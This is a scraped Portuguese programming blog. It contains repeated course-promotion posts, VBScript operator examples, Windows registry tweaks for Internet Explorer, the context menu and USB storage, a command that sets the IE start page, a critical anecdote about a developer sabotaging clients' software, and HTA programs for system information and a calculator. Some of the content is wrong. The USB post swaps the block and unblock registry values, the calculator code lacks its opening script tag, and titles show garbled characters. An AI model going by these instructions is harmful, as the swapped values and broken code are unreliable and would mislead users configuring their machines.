programador fit

Qual a linguagem de programação do futuro?

2016-12-19T13:11:00.001-02:00

Qual a linguagem de programa��o do futuro?

Que tal aprender uma linguagem de programação

E se tornar um programador profissional!!

E desenvolver desde pequenas aplicações a sistemas complexos isso mesmo!.

Você gostaria de aprender uma linguagem de programação?

Você gostaria de se tornar um programador profissional?

Se a sua resposta for sim então assista este outro vídeo!!!!

Assistir o vídeo AGORA

IDJ Opinião Qual linguagem de programação usar para desenvolver jogos?

2016-12-19T13:10:00.001-02:00

IDJ Opini�o Qual linguagem de programa��o usar para desenvolver jogos?

Que tal aprender uma linguagem de programação

E se tornar um programador profissional!!

E desenvolver desde pequenas aplicações a sistemas complexos isso mesmo!.

Você gostaria de aprender uma linguagem de programação?

Você gostaria de se tornar um programador profissional?

Se a sua resposta for sim então assista este outro vídeo!!!!

Assistir o vídeo AGORA

Qual é a melhor Linguagem de Programação?

2016-12-19T13:09:00.001-02:00

Qual � a melhor Linguagem de Programa��o?

Que tal aprender uma linguagem de programação

E se tornar um programador profissional!!

E desenvolver desde pequenas aplicações a sistemas complexos isso mesmo!.

Você gostaria de aprender uma linguagem de programação?

Você gostaria de se tornar um programador profissional?

Se a sua resposta for sim então assista este outro vídeo!!!!

Assistir o vídeo AGORA

Melhor linguagem de programação - parte - eXcript

2016-12-19T13:08:00.001-02:00

Melhor linguagem de programa��o - parte - eXcript

Que tal aprender uma linguagem de programação

E se tornar um programador profissional!!

E desenvolver desde pequenas aplicações a sistemas complexos isso mesmo!.

Você gostaria de aprender uma linguagem de programação?

Você gostaria de se tornar um programador profissional?

Se a sua resposta for sim então assista este outro vídeo!!!!

Assistir o vídeo AGORA

Qual linguagem de programação aprender

2016-12-19T13:07:00.001-02:00

Qual linguagem de programa��o aprender

Que tal aprender uma linguagem de programação

E se tornar um programador profissional!!

E desenvolver desde pequenas aplicações a sistemas complexos isso mesmo!.

Você gostaria de aprender uma linguagem de programação?

Você gostaria de se tornar um programador profissional?

Se a sua resposta for sim então assista este outro vídeo!!!!

Assistir o vídeo AGORA

Macetes para Aprender uma Linguagem de Programação Nova // Vlog #

2016-12-19T13:05:00.001-02:00

Que tal aprender uma linguagem de programação

E se tornar um programador profissional!!

E desenvolver desde pequenas aplicações a sistemas complexos isso mesmo!.

Você gostaria de aprender uma linguagem de programação?

Você gostaria de se tornar um programador profissional?

Se a sua resposta for sim então assista este outro vídeo!!!!

Assistir o vídeo AGORA

Quero ser um programador - o que fazer?

2016-12-19T01:18:00.001-02:00

Quero ser um programador - o que fazer?

Como Ser Um Bom Programador

2016-12-19T01:17:00.001-02:00

Como Ser Um Bom Programador

Profissão Programador O que é, o que faz, como ser um?

2016-12-19T01:15:00.001-02:00

Profiss�o Programador O que �, o que faz, como ser um?

?? Preciso de Faculdade pra ser um Programador? // Vlog #

2016-12-19T01:14:00.001-02:00

PHP do zero ao profissional

2016-09-11T20:29:00.000-03:00

PHP do zero ao profissional

O que você acha de aprender uma linguagem de programação que está presente em 80% dos sites Web, e através dela programar aplicativos complexos, sites profissionais, criar Plugins, lojas virtuais enfim uma infinidade de coisas.

E não é só isso, aprendendo a programar você entrará num setor que desconhece desemprego, isso mesmo independente de crise, você estará se qualificando e garantindo o seu futuro, e ganhando ótimos salários.

Estamos falando da linguagem de programação PHP (PHP: Hypertext Preprocessor) uma das linguagens mais atual do mundo da tecnologia da informação, só para você ter uma ideia a maior rede social do mundo o FACEBOOK utiliza PHP, WORDPRESS também é totalmente embasado em php, se você acha que estamos falando besteiras sobre assunto pesquise fique a vontade.

Mas quanto antes você se preparar e se qualificar melhor!!!
Então que tal fazer um curso super completo de PHP: DO ZERO AO PROFISSIONAL aprender com um especialista com mais de 10 anos de experiência como programador sênior que já atuou em mais de 150 empresas!!!

São mais de 230 vídeo aulas explicativas passo a passo que ensinará você do nível zero ao profissional.confira⤵⤵⤵
http://bit.do/Dozeroaoprofissional

QUERO APRENDER TAMBÉM

imperdível

Linux a Bíblia

2016-07-08T14:05:00.001-03:00

Linux a Bíblia

Se dentro de alguns segundos esta página não carregar, ↓↓↓:
Linux a Bíblia

Operadores em Vbscript.

2015-01-05T12:30:00.000-02:00

Operadores em Vbscript.

Entendendo os operadores em vbscript

Em Vbscript, os operadores, servem para manipular os dados que ficam armazenados nas variáveis, dos nossos scripts (ou programas).

Basicamente existe cinco tipos de operadores em Vbscript, que será explicado no nosso curso básico de Vbscript.

Assistir o curso clique aqui

Este artigo complementa exatamente a aula 15 do nosso curso básico de Vbscript, ou seja está sendo disponibilizado aqui alguns exemplos utilizando os operadores em vbscript.

Basta copiar os exemplos abaixo e salvar com um nome seguido da extensão .vbs

Exemplo 1: Operador de concatenação

Dim a : a = 10

Dim b : b = 10

Dim c

c=a+b

x=msgbox ("Concatenação do valor:1 é " &c) 'Faz a soma do dois valores

c=a&b

x=msgbox ("Concatenação do valor:2 é " &c) 'Uni os dois valores

Exemplo 2: Operador de concatenação

'operador de concatenaçao +

Dim a : a = "Microsoft"

Dim b : b = "VBScript"

Dim c

c=a+b

x=msgbox ("Concatenação do valor:1 é " &c) 'Adiciona um valor

c=a&b

x=msgbox ("Concatenação do valor:2 é " &c) 'Concatena dois valores

Exemplo 3: Operadores relacionais

Dim a : a = 10

Dim b : b = 20

Dim c

If a=b Then

x= msgbox ("Operador da linha 1 : True")

Else

x= msgbox ("Operador da linha 1 : False")

End If

If a<>b Then

x= msgbox ("Operador da linha 2 : True")

Else

x= msgbox ("Operador da linha 2 : False")

End If

If a>b Then

x= msgbox ("Operador da linha 3 : True")

Else

x= msgbox ("Operador da linha 3 : False")

End If

If a<b Then

x= msgbox ("Operador da linha 4 : True")

Else

x= msgbox ("Operador da linha 4 : False")

End If

If a>=b Then

x= msgbox ("Operador da linha 5 : True")

Else

x= msgbox ("Operador da linha 5 : False")

End If

If a<=b Then

x= msgbox ("Operador da linha 6 : True")

Else

x= msgbox ("Operador da linha 6 : False")

End if

Exemplo 4: Operadores Lógicos

Dim a : a = 10

Dim b : b = 0

Dim c

If a<>0 AND b<>0 Then

x= msgbox ("AND Resultado do operado é : True")

Else

x= msgbox ("AND Resultado do operado é : False")

End If

If a<>0 OR b<>0 Then

x= msgbox ("OR Resultado do operado é : True")

Else

x= msgbox ("OR Resultado do operado é : False")

End If

If NOT(a<>0 OR b<>0) Then

x= msgbox ("NOT Resultado do operado é : True")

Else

x=msgbox ("NOT Resultado do operado é : False")

End If

If (a<>0 XOR b<>0) Then

x=msgbox ("XOR Resultado do operado é : True")

Else

x=msgbox ("XOR Resultado do operado é : False")

End If

Exemplo 5: Operadores matemáticos

Dim a : a = 6

Dim b : b = 9

Dim c

c = a+b

x = msgbox ("Resultado da soma é " &c)

c = a-b

x = msgbox ("Resultado da subtração é " &c)

c = a*b

x = msgbox ("Resultado da multiplicação é " &c)

c = b/a

x = msgbox ("Resultado da divisão é " &c)

c = b MOD a

x = msgbox ("Resultado de modulo é " &c)

c = b^a

x = msgbox ("Resultado da exponenciação é " &c)

Como restaurar Internet Explorer.

2014-12-13T11:30:00.000-02:00

Como restaurar Internet Explorer.

Com este hacker, você restaurará seu internet Explorer, para o ponto original, exatamente como ele vem no Windows sem nem um erro. Ainda será criado um atalho em sua área de trabalho.

É tudo muito simples, basta copiar o código abaixo, agora cole-o em um bloco de notas e o salve com um nome de sua preferência com a extensão .REG

Não altere nada, caso não tenha conhecimento.

Código.

Windows Registry Editor Version 5.00

[-HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30301D}]

[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30301D}]

@="Internet Explorer"

"InfoTip"="@C:\\Windows\\System32\\ieframe.dll,-881"

[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30301D}\DefaultIcon]

@="C:\\Windows\\System32\\ieframe.dll,-190"

[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30301D}\InProcServer32]

@="C:\\Windows\\System32\\ieframe.dll"

"ThreadingModel"="Apartment"

[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30301D}\shell]

@="OpenHomePage"

[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30301D}\shell\NoAddOns]

@="Start Without Add-ons"

[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30301D}\shell\NoAddOns\Command]

@="\"C:\\Program Files\\Internet Explorer\\iexplore.exe\" -extoff"

[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30301D}\shell\OpenHomePage]

@="Open &Home Page"

[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30301D}\shell\OpenHomePage\Command]

@="\"C:\\Program Files\\Internet Explorer\\iexplore.exe\""

[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30301D}\shell\Properties]

@="P&roperties"

"Position"="bottom"

[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30301D}\shell\Properties\command]

@="control.exe inetcpl.cpl"

[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30301D}\Shellex\ContextMenuHandlers\ieframe]

@="{871C5380-42A0-1069-A2EA-08002B30309D}"

[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30301D}\Shellex\MayChangeDefaultMenu]

@=""

[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30301D}\ShellFolder]

@="C:\\Windows\\System32\\ieframe.dll,-190"

"HideAsDeletePerUser"=""

"Attributes"=dword:00000024

"HideFolderVerbs"=""

"WantsParseDisplayName"=""

"HideOnDesktopPerUser"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{871C5380-42A0-1069-A2EA-08002B30301D}]

Válido para Windows: Vista,7,8

Como adicionar Painel de controle ao menu de contexto.

2014-12-12T11:30:00.000-02:00

Como adicionar Painel de controle ao menu de contexto.

Conforme imagem acima, não sei se você percebeu, que está com a opção do painel de controle, pois bem, é exatamente isso que iremos fazer, é um pequeno hacker, que fará está ativação via registro do Windows, após feito isso, sempre que você clicar com o direito do Mouse em uma área vazia no seu Desktop , esta opção agora estará disponível.

Para ativar Painel no menu de contexto

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\Directory\Background\shell\Control Panel]

[HKEY_CLASSES_ROOT\Directory\Background\shell\Control Panel\command]

@=hex(2):72,00,75,00,6e,00,64,00,6c,00,6c,00,33,00,32,00,2e,00,65,00,78,00,65,\

00,20,00,73,00,68,00,65,00,6c,00,6c,00,33,00,32,00,2e,00,64,00,6c,00,6c,00,\

2c,00,43,00,6f,00,6e,00,74,00,72,00,6f,00,6c,00,5f,00,52,00,75,00,6e,00,44,\

00,4c,00,4c,00,00,00

Para remover esta opção.

Windows Registry Editor Version 5.00

[-HKEY_CLASSES_ROOT\Directory\Background\shell\Control Panel]

Basta copiar e colar em um bloco de notas, agora salve com um nome de sua preferência com a extensão .REG

Aprenda como bloquear e desbloquear porta USB.

2014-12-11T11:30:00.000-02:00

Aprenda como bloquear e desbloquear porta USB.

As vezes por questão até mesmo de segurança você não gostaria que todos venham conectando dispositivos USB em seu computador, ou até para criar uma regra de uso, isso em um ambiente corporativo.

Pois bem, para fazer este bloqueio ou desbloqueio da porta USB é muito simples, poderíamos está fazendo manualmente, indo no registro do Windows, e fazendo as alterações, mas vamos facilitar disponibilizando o caminho absoluto.

Para Bloquear

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\USBSTOR]

"Start"=dword:00000003

Para Desbloquear

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\USBSTOR]

"Start"=dword:00000004

Note que alteramos apenas um valor, ou seja tudo bem simples.

OBS:

Copie o código acima cole em um editor de texto, tipo bloco de notas. Agora salve como o nome de sua preferência e com a extensão .REG

Definindo página padrão via prompt de comando.

2014-12-10T22:19:00.001-02:00

Definindo página padrão via prompt de comando.

Aprenda de um jeito simples e fácil a definir o carregamento de uma página padrão em seu navegador internet explore, para isto basta copiar o script logo abaixo, e em seguida abra o prompt de comando agora clique com o direto e cole e de enter.

Script
reg add "hkcu\software\microsoft\internet explorer\main" /v "Start Page" /t REG_SZ /d "http://www.facebook.com.br" /f

Feito isso, agora quando você abrir seu internet Explorer, ele iniciará o carregamento de página principal o Facebook, isso neste exemplo é lógico altere para a página do seu gosto melhor preferência.

Se preferir, pode fazer manualmente, basta seguir o caminho absoluto acima, e em seguida fazer as as alterações necessárias..

Programador sinônimo de honestidade inacreditável!!

2014-11-23T13:46:00.002-02:00

Programador sinônimo de honestidade.

Hoje vamos falar de um programador, que realmente é um sinônimo de honestidade, e ensina as técnicas que ele usa para fidelizar seus clientes.

Recentemente estava navegando pela web como de costume, em especial no Fórum ActiveDelphi e me deparei com uma pérola que me chamou, a atenção! era um post de um possível programador, onde ele mencionava funções de seus desenvolvimentos, e ainda descrevia a funcionalidade de seus software.

Ele dizia que estava desenvolvendo software com funções propositalmente programadas, para em um determinado tempo acarretar lentidão no programa, sendo assim seus clientes entraria em contato solicitando manutença no software, ou seja através desta função proposital ele estaria ganhando mais dinheiro por conta das manutenções corretivas ou preventivas.

Bom, eu não vou alongar mais este assunto, lógico que ironizei no título deste post, mas apesar deste assunto mencionando por esse camarada, parecer absurdo infelizmente as empresas se utiliza desta prática, disto pode ter certeza, não sei se a pessoa que postou este assunto quis apenas aparecer ou bancar o engraçadinho. Mas de uma coisa tenha certeza nunca aja de má fé com o seu cliente, pois práticas igual a essa fará com que ele procure outra solução ao invés da sua.

Agregue sempre valor aos seus serviços,oferecendo sempre soluções, e não problemas.

Lê esta pérola clique aqui

Como transformar seu blog em um E-book.

2014-11-16T14:00:00.000-02:00

Aprenda como transformar seu blog em um E-book.

Já pensou em transformar seu blog em um E-book? pois bem é exatamente isso que aprenderemos neste tutorial. para isso basta acessar o link do site logo a frente criar E-book .

Após ter acessado o site acima agora é só clicar em Start Now

Agora preencha o campo com o endereço do seu blog, você ainda pode escolher entre a plataforma Blogger ou Wordpress.

Selecione também a quantidade de posts, poderá optar também por uma data especifica, para isso é só clicar em By date range.

Feito isso agora clique em Get the Posts »»

Agora segue tela com informações, melhor com os posts que foram selecionados no nosso caso foram 10, ainda dar para você alternar as datas clicando em Date. Clique em continue »»

Esta parte agora é a parte de customização do seu E-book, escolha o título do E-book, subtítulo, nome do Autor. Clicando em Choose Cover pode escolher algumas capas em cores diferentes para seu E-book.

Ainda é possível adicionar, +prefacio como também uma +dedicatória, Clique em Create my Book »»

pronto agora seu blog já foi transformado em um E-book, para ver como ficou, basta clicar no contador de páginas, você também ainda pode salva-lo em seu computador no formato PDF. Só distribuir para os seus leitores, Gratuitamente.

Espero que tenha gostado e que tenha lhe ajudado de alguma forma.

Aprenda criar um programa que faça verificações do Windows e as mostre pra você!

2014-11-14T23:47:00.001-02:00

Aprenda criar um programa, que faça verificações do Windows e as mostre pra você!

Estamos disponibilizando um pequeno programa, feito em HTML e Vbscript, que captura algumas informações básica do Windows e printa na tela para você, trata-se de um pequeno inventário contendo informações básicas de seu computador, conforme mostra imagem acima.

Se você tem conhecimento de html e Vbscript fique a vontade e faça as alterações que achar, necessárias. Pois você verá que é tudo muito simples e fácil de manipular, agora se você não tem o minimo de conhecimento em programação ou lógica,aconselho você assistir nossos cursos básicos e tutoriais, onde ensinamos html,e vbscript.

Assistir em nosso canal clique aqui!

Agora para finalizarmos basta copiar o código logo abaixo cole-o em um bloco de notas ou um editor de sua preferência, escolha um nome para o mesmo e salve com a extensão .HTA

<html>
<head>

<title>Informação do sistema</title>
<HTA:APPLICATION 
APPLICATIONNAME="Informação do sistema"
SCROLL="yes"
SINGLEINSTANCE="no"
WINDOWSTATE="normal">

<script language="VBScript">
ctrlsHTML = "<input type=" & Chr(34) & "text" & Chr(34) & "name=" & Chr(34) & "Textbox" & Chr(34) & "size=" & Chr(34) & "12" & Chr(34) & ">" 
EnableDisableSwitch = 0

'********************************************************************************

Sub window_Onload
ControlsArea.innerHTML = ctrlsHTML
'window.resizeTo 698,325
Textbox.value = "localhost"
End sub

'********************************************************************************

Sub ClearWindow
DataArea.InnerHTML = ""
'ControlsArea.innerHTML = ctrlsHTML
'Textbox.value = "localhost"
End Sub

'********************************************************************************

Sub GetComputerName
strIPaddress = Textbox.value
Set objWMIService = GetObject("winmgmts:\\" & strIPaddress & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * From Win32_ComputerSystem")
 For Each objItem in colItems
 ComputerName = objItem.Name
 Next
strHTML = "<table>"
strHTML = strHTML & "
<tr>"
strHTML = strHTML & "<th>IP Address:  " & strIPaddress & "</th>"
strHTML = strHTML & "</tr>
"
strHTML = strHTML & "
<tr>"
strHTML = strHTML & "<td NOWRAP>" & ComputerName & "</td>"
strHTML = strHTML & "</tr>
"
strHTML = strHTML & "</table>
"
DataArea.innerHTML = strHTML & "<br>" & DataArea.innerHTML
End Sub

'********************************************************************************

Sub GetServerInfo

strComputer = TextBox.value 'InputBox("HostName ou IP adress")
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

'GetServiceTag and BIOSVersion
Set colBIOS = objWMIService.ExecQuery("Select * from Win32_bios")
 For Each objBIOS in colBIOS 
  ServiceTag = objbios.serialnumber
  BIOSVersion = objbios.Caption
 Next
 
 
'Get RAM and Model Name
Set colCS = objWMIService.ExecQuery("Select * from Win32_ComputerSystem")
 For Each objCS in colCS 
  RAMgb = FormatNumber(objCS.TotalPhysicalMemory/1073741824,2)
  RAMmb = FormatNumber(objCS.TotalPhysicalMemory/1048576,2)  
  Model = objCS.Model
  SystemType = objCS.SystemType
 Next

'Get OS Version and Last Bootup time
Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")
  For Each objOperatingSystem in colOperatingSystems
   OSVersion = objOperatingSystem.Caption & " " & objOperatingSystem.Version & " (SP" & objOperatingSystem.ServicePackMajorVersion &")"
   dtmBootup = objOperatingSystem.LastBootUpTime
  Next
RebootDateAndTime = CDate(Mid(dtmBootup, 5, 2) & "/" & _
Mid(dtmBootup, 7, 2) & "/" & Left(dtmBootup, 4) & " " & Mid (dtmBootup, 9, 2) & ":" & Mid(dtmBootup, 11, 2) & ":" & Mid(dtmBootup,13, 2))

'Get Processor Info (not using this because it takes a long time to pull info from this class)
'Set colProc = objWMIService.ExecQuery("Select * from Win32_Processor")
 'For Each objProc in colProc 
  'LogicalProcessors = objProc.NumberOfLogicalProcessors
  'Cores = objProc.NumberOfCores
  'ProcessorName = objProc.Name
 'Next

'Display Results 
strHTML = "<table>"
strHTML = strHTML & "
<tr>"
strHTML = strHTML & "<th>Cmputador:</th>"
strHTML = strHTML & "<th>" & UCase(strComputer) & "</th>"
strHTML = strHTML & "</tr>
"
strHTML = strHTML & "
<tr>"
strHTML = strHTML & "<td>Modelo e nome:</td>"
strHTML = strHTML & "<td>" & Model & "</td>"
strHTML = strHTML & "</tr>
"
strHTML = strHTML & "
<tr>"
strHTML = strHTML & "<td>Versão da BIOS:</th>"
strHTML = strHTML & "<td>" & BIOSVersion & "</td>"
strHTML = strHTML & "</tr>
"
strHTML = strHTML & "
<tr>"
strHTML = strHTML & "<td>Serviço :</td>"
strHTML = strHTML & "<td>" & ServiceTag & "</td>"
strHTML = strHTML & "</tr>
"
strHTML = strHTML & "
<tr>"
strHTML = strHTML & "<td>Sistema operacional:</td>"
strHTML = strHTML & "<td>" & OSVersion & "</td>"
strHTML = strHTML & "</tr>
"
strHTML = strHTML & "
<tr>"
strHTML = strHTML & "<td>Tipo de sistema (Arquitetura):</td>"
strHTML = strHTML & "<td>" & SystemType & "</td>"
strHTML = strHTML & "</tr>
"
strHTML = strHTML & "
<tr>"
strHTML = strHTML & "<td>Memória Física (RAM):</td>"
strHTML = strHTML & "<td>" & RAMgb & "GB (" & RAMmb & "MB)</td>"
strHTML = strHTML & "</tr>
"

'Get Disk Drive Model
Set colDiskDrive = objWMIService.ExecQuery("Select * from Win32_DiskDrive")
 valuetest = 0
 For Each objDrive in colDiskDrive
  driveModel = objDrive.Model
  deviceID = objDrive.deviceID
  valuetest = valuetest + 1

strHTML = strHTML & "
<tr>"
strHTML = strHTML & "<td>Modelo de disco e controle de Raid:</th>"
strHTML = strHTML & "<td>" & deviceID & ": " & driveModel & "</th>"
strHTML = strHTML & "</tr>
"
 
 Next

strHTML = strHTML & "
<tr>"
strHTML = strHTML & "<td>Iniciallização e tempo:</th>"
strHTML = strHTML & "<td>" & RebootDateAndTime & "</th>"
strHTML = strHTML & "</tr>
"
strHTML = strHTML & "</table>
"
DataArea.innerHTML = strHTML & "<br>" & DataArea.innerHTML
End Sub

'********************************************************************************

</script>

<style type="text/css">
<!--

#navcontainer 
{
background: #fcccf0;
border-top: 1px solid #888888;
border-bottom: 1px solid #888888;
border-right: 1px solid #888888;
border-left: 1px solid #888888;
font: bold 10px Verdana, sans-serif;
}

#navlist
{
list-style: none outside none;
margin: 0;
padding: 0;
}

@media all {
#navlist {
text-align: center
}
}

#navlist li
{
bottom: 11px;
display: inline;
line-height: 1.2em;
margin: 0;
padding: 0;
position: relative;
}

html>body #navlist li
{
background: #000;
margin: 0 3px 0 0;
padding: 4px 0px 4px 0;
}

#navlist a, #navlist a:link, #navlist a:visited a:hover
{
background: #999999;
border: 1px solid #000000;
bottom: 2px;
color: #222222;
cursor: pointer;
display: inline;
height: 1em;
margin: 0;
padding: 3px 5px 3px 5px;
position: relative;
right: 2px;
text-decoration: none;
}

#navlist a:hover
{
background: #ff5555;
bottom: 1px;
color: #DDD;
position: relative;
right: 1px;
}

#navlist a:active
{
background: #555555;
bottom: 0px;
color: #000;
position: relative;
right: 0px;
}

#navlist li#active
{
background: #778;
bottom: 13px;
display: inline;
margin: 0 3px 0 0;
padding: 0;
position: relative;
}

html>body #navlist li#active
{
background: #fff000;
margin: 0 4px 0 4px;
}

#navlist #active a, #navlist #active a:link, #navlist #active a:visited, #navlist #active a:hover 
{
background: #369;
border-bottom: none;
border-left: 1px solid #9CC;
border-right: 1px solid #9CC;
border-top: 1px solid #9CC;
bottom: 0;
color: #778;
cursor: text;
margin: 0;
padding: 2px 5px 0 5px;
position: relative;
right: 0;
}

th {
background-color:#0000ff;
}

table, th, td {
border:1px solid #222222;
/*border:1px solid #444444;*/
border-collapse: collapse;
}

table {
width:100%;
font: 16px;
/*font: 14px arial, sans-serif;*/
}

td, th {
white-space: nowrap;
}

.graph {
width:104px;
height:10px;
padding:1px;
border:1px solid white;
/*background:#000000*/
}

.bar2 {
width:0px;
height:10px;
background:#3300FF;
}

.bar {
width:0px;
height:2px;
background:#ff00ff;
}

a.gobutton 
{
font:bold 10px Verdana, sans-serif;
text-align: center;
background: #ff9999;
border: 1px solid #000000;
bottom: 2px;
color: #222222;
cursor: pointer;
display: inline;
height: 1em;
margin: 0;
padding: 3px 5px 3px 5px;
position: relative;
right: 2px;
text-decoration: none;
}

a.gobutton:hover
{
background: #005555;
bottom: 1px;
color: #DDD;
position: relative;
right: 1px;
}

a.gobutton:active
{
background: #555555;
bottom: 0px;
color: #000;
position: relative;
right: 0px;
}

-->
</style>
</head>

<body STYLE="font:10 pt palatino; color:white; background-color:#5555ff;">

<p>
<span id = "ControlsArea"></span>
</p>
<div id="navcontainer">
<ul id="navlist">
<li><a onclick="GetServerInfo" href="#">Windows informação</a></li>
<li><a onclick="ClearWindow" href="#">Apagar</a></li>
</ul>
</div>
<p>
<span id = "DataArea"></span>
</p>
</body>
</html>

Aprenda criar uma calculadora com HTMl e VBscript jeito fácil e simples

2014-11-12T23:55:00.001-02:00

Aprenda criar uma calculadora com HTML e VBscript jeito fácil e simples.

Faça você mesmo sua própria calculadora, com HTML e VBscript, é uma calculadora bem simples porém muito funcional. E no código que estamos disponibilizando você pode personaliza-la e deixa-la totalmente do seu jeito, fique a vontade para modificar o
código pois é tudo muito simples e fácil é em HTML e Vbscript. agora se você não possui o minimo de conhecimento em programação aconselho você assistir um curso básico em nosso canal onde ensinamos vbscript. Emuito mais inclusive outro mini curso onde também ensinamos a criar aplicativos para Windows com HTML e Vbscript.

Mini curso clique aqui para assistir

Agora é só copiar o código logo abaixo, agora abra o bloco de notas cole o código der um nome de sua preferência e o salve com extensão .HTA por emxemplo: Calculadora.hta

Tenho certeza que você vai gostar, e verá através deste pequeno software que não é tão difícil programar, porém basta usar a lógica.

<html>
<head>

<title>Calculadora</title>
<HTA:APPLICATION
  APPLICATIONNAME="calculadora"
  ID="Calc"
  VERSION="1.0"
  SCROLL="no"
  MAXIMIZEBUTTON="no"
  SHOWINTASKBAR="no"/>
</head>

<style>

.btn{font-family: Arial;
  font-size: 12;
  color: #000000;
  background-color: #FFFFFF;
  width: 40;
  height: 25;}

.eq {font-family: Arial;
  font-size: 12;
  color: #000000;
  background-color: #FFFFFF;
  width: 40;
  height: 85;}

.0 {font-family: Arial;
  font-size: 12;
  color: #000000;
  background-color: #FFFFFF;
  width: 85;
  height: 25;}

</style>

Sub Window_OnLoad
   Dim width,height
   width=270
   height=300
   self.ResizeTo width,height
   box.focus
End Sub

Function btnb
On Error Resume Next
count = 0
text = box.value
count = Len(box.value)
count = count-1
box.value = Left(box.value, count)
End Function

Function eq
On Error Resume Next
junk = Eval(box.value)
If (Err.Number <> 0) Then
box.value = Err.Description
Else
box.value = Eval(box.value)
End If
End Function

Function AddBox(ID)
box.value = box.value&ID
End Function

Function KPS
If (window.event.keycode = 99) Then
box.value = ""
Else If (window.event.keycode = 13) Then
eq()
Else If (window.event.keycode = 8) Then
btnb()
Else If ((window.event.keycode <> 94) And (window.event.keycode < 40 Or window.event.keycode > 41) And (window.event.keycode < 42 Or window.event.keycode > 57)) Then
window.event.returnvalue = False
Else
cxz.focus
box.value = box.value & Chr(window.event.keycode)
End If
End If
End If
End If
End Function

</script>

<body bgcolor="white" onkeypress="KPS">
<table align="center" id="cxz">
<caption><hr>
<b>Calculadora</b><hr>
</caption>
<tr>
<td colspan="5" align="center"><input type="text" id="box" size="30" onclick="cxz.focus" readonly>
</tr>
<tr>
<td colspan="2"><input type="button" value="Backspace" class="0" id="btna" onclick="btnb" onmouseover="btna.style.background = '#808080'" onmouseout="btna.style.background = '#FFFFFF'"></td>
<td><input type="button" value="(" class="btn" id="btnz" onclick="AddBox('(')" onmouseover="btnz.style.background = '#808080'" onmouseout="btnz.style.background = '#FFFFFF'"></td>
<td><input type="button" value=")" class="btn" id="btnc" onclick="AddBox(')')" onmouseover="btnc.style.background = '#808080'" onmouseout="btnc.style.background = '#FFFFFF'"></td>
<td><input type="button" value="C" class="btn" id="btnd" onclick="box.value = ''" onmouseover="btnd.style.background = '#808080'" onmouseout="btnd.style.background = '#FFFFFF'"></td>
</tr>
<tr>
<td><input type="button" value="7" class="btn" id="btne" onclick="AddBox('7')" onmouseover="btne.style.background = '#808080'" onmouseout="btne.style.background = '#FFFFFF'"></td>
<td><input type="button" value="8" class="btn" id="btnf" onclick="AddBox('8')" onmouseover="btnf.style.background = '#808080'" onmouseout="btnf.style.background = '#FFFFFF'"></td>
<td><input type="button" value="9" class="btn" id="btng" onclick="AddBox('9')" onmouseover="btng.style.background = '#808080'" onmouseout="btng.style.background = '#FFFFFF'"></td>
<td><input type="button" value="/" class="btn" id="btnh" onclick="AddBox('/')" onmouseover="btnh.style.background = '#808080'" onmouseout="btnh.style.background = '#FFFFFF'"></td>
<td><input type="button" value="^" class="btn" id="btni" onclick="AddBox('^')" onmouseover="btni.style.background = '#808080'" onmouseout="btni.style.background = '#FFFFFF'"></td>
</tr>
<tr>
<td><input type="button" value="4" class="btn" id="btnj" onclick="AddBox('4')" onmouseover="btnj.style.background = '#808080'" onmouseout="btnj.style.background = '#FFFFFF'"></td>
<td><input type="button" value="5" class="btn" id="btnk" onclick="AddBox('5')" onmouseover="btnk.style.background = '#808080'" onmouseout="btnk.style.background = '#FFFFFF'"></td>
<td><input type="button" value="6" class="btn" id="btnl" onclick="AddBox('6')" onmouseover="btnl.style.background = '#808080'" onmouseout="btnl.style.background = '#FFFFFF'"></td>
<td><input type="button" value="*" class="btn" id="btnm" onclick="AddBox('*')" onmouseover="btnm.style.background = '#808080'" onmouseout="btnm.style.background = '#FFFFFF'"></td>
<td rowspan="3"><input type="button" value="=" class="eq" id="btnn" onclick="eq" onmouseover="btnn.style.background = '#808080'" onmouseout="btnn.style.background = '#FFFFFF'"></td>
</tr>
<tr>
<td><input type="button" value="1" class="btn" id="btno" onclick="AddBox('1')" onmouseover="btno.style.background = '#808080'" onmouseout="btno.style.background = '#FFFFFF'"></td>
<td><input type="button" value="2" class="btn" id="btnp" onclick="AddBox('2')" onmouseover="btnp.style.background = '#808080'" onmouseout="btnp.style.background = '#FFFFFF'"></td>
<td><input type="button" value="3" class="btn" id="btnq" onclick="AddBox('3')" onmouseover="btnq.style.background = '#808080'" onmouseout="btnq.style.background = '#FFFFFF'"></td>
<td><input type="button" value="-" class="btn" id="btnr" onclick="AddBox('-')" onmouseover="btnr.style.background = '#808080'" onmouseout="btnr.style.background = '#FFFFFF'"></td>
</tr>
<tr>
<td colspan="2"><input type="button" value="0" class="0" id="btns" onclick="AddBox('0')" onmouseover="btns.style.background = '#808080'" onmouseout="btns.style.background = '#FFFFFF'"></td>
<td><input type="button" value="." class="btn" id="btnt" onclick="AddBox('.')" onmouseover="btnt.style.background = '#808080'" onmouseout="btnt.style.background = '#FFFFFF'"></td>
